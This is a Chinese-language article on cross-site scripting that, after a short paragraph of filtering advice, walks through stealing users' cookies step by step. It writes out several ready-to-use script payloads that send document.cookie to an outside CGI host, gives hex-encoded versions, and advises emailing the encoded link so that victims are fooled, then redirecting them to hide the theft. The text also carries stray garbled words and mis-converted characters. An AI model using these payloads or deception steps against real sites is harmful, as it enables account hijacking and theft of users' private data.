XSS漏洞

跨站腳本攻擊(也稱爲XSS)指利用網站漏洞從用戶那裏惡意盜取信息php

堅定不要相信任何用戶輸入並過濾全部特殊字符。這樣既可消滅絕大部分的XSS攻擊。另外一個建議是輸出頁面時將 < 和 > 變換成 < 和 >。要記住,XSS漏洞極具破壞性,一旦被利用,它會給你的事業帶來極大的損害。攻擊者會將這些漏洞公之於衆,這會在用戶隱私的問題上大大下降你的 網站的用戶信賴度。固然,僅僅將 ( 和 ) 變換成 < 和 > 是不夠的,最好將 ( 和 ) 變換成 ( 和 ),# 和 & 變換成 # 和 &cookie

根據做爲攻擊對象的Web程序,下面某些變量和插入位置可能須要進行調整。要注意這只是攻擊方法的一個例子。在這個例子中,咱們將利用腳本「a.php」中的 「viriable」變量中的跨站腳本漏洞,經過正常請求進行攻擊。這是跨站腳本攻擊最多見的形式。
第一步: 鎖定目標工具

當你找到某個Web程序存在XSS漏洞以後,檢查一下它是否設置了cookie。若是在該網站的任何地方設置了cookie,那麼就能夠從用戶那裏盜取它。
第二步: 測試測試

不一樣的攻擊方式將產生不一樣的XSS漏洞,因此應適當進行測試以使得輸出結果看起來像是正常的。某些惡意腳本插入以後會破壞輸出的頁面。(爲欺騙用戶,輸出結果很是重要,所以攻擊者有必要調整攻擊代碼使輸出看起來正常。)網站

下一步你須要在連接至包含XSS漏洞的頁面的URL中插入 Javascript(或其餘客戶端腳本)。下面列出了一些常常用於測試XSS漏洞的連接。當用戶點擊這些連接時,用戶的cookie獎被髮送到 www.cgisecurity.com/cgi-bin/cookie.cgi 並被顯示。若是你看到顯示結果中包含了cookie信息,說明可能能夠劫持該用戶的帳戶。編碼

盜取Cookie的Javascript示例。使用方法以下。3d

ASCII用法對象

http://host/a.php?variable=」><script>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi? ‘%20+document.cookie</script>ip

十六進制用法it

http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f

%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

注意: 每種用法都先寫爲ASCII,再寫成十六進制以便複製粘貼。

1. 「><script>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi?’ +document.cookie</script>

HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e

2. <script>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi?’ +document.cookie</script>

HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e

3. ><script>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi?’ +document.cookie</script>

HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e

第三步: 執行XSS

將作好的URL經過電子郵件或其餘方式發送出去。注意若是你直接將URL發送給其餘人(經過電子郵件、即時通信軟件或其餘方式),你應當將其進行十六進制編碼,由於這些URL一眼即可看出包含惡意代碼,但通過十六進制編碼以後就能夠欺騙大部分人。
第四步: 處理收集到的信息

一旦用戶點擊了你的URL,相應數據就會被髮送到你的CGI腳本中。這樣你就得到了 cookie信息,而後你能夠利用Websleuth之類的工具來檢查是否能盜取那個帳戶。

在上面的例子中,咱們僅僅將用戶帶到了 cookie.cgi頁面上。若是你有時間,你能夠在CGI中將用戶重定向到原來的頁面上,便可在用戶不知不覺之中盜取信息。

某些電子郵件程序在打開附件時會自動執行附件中的Javascript代碼。即便像Hotmail這樣的大型網站也是如此,不過它對附件內容做了許多過濾以免cookie被盜。

相關文章
相關標籤/搜索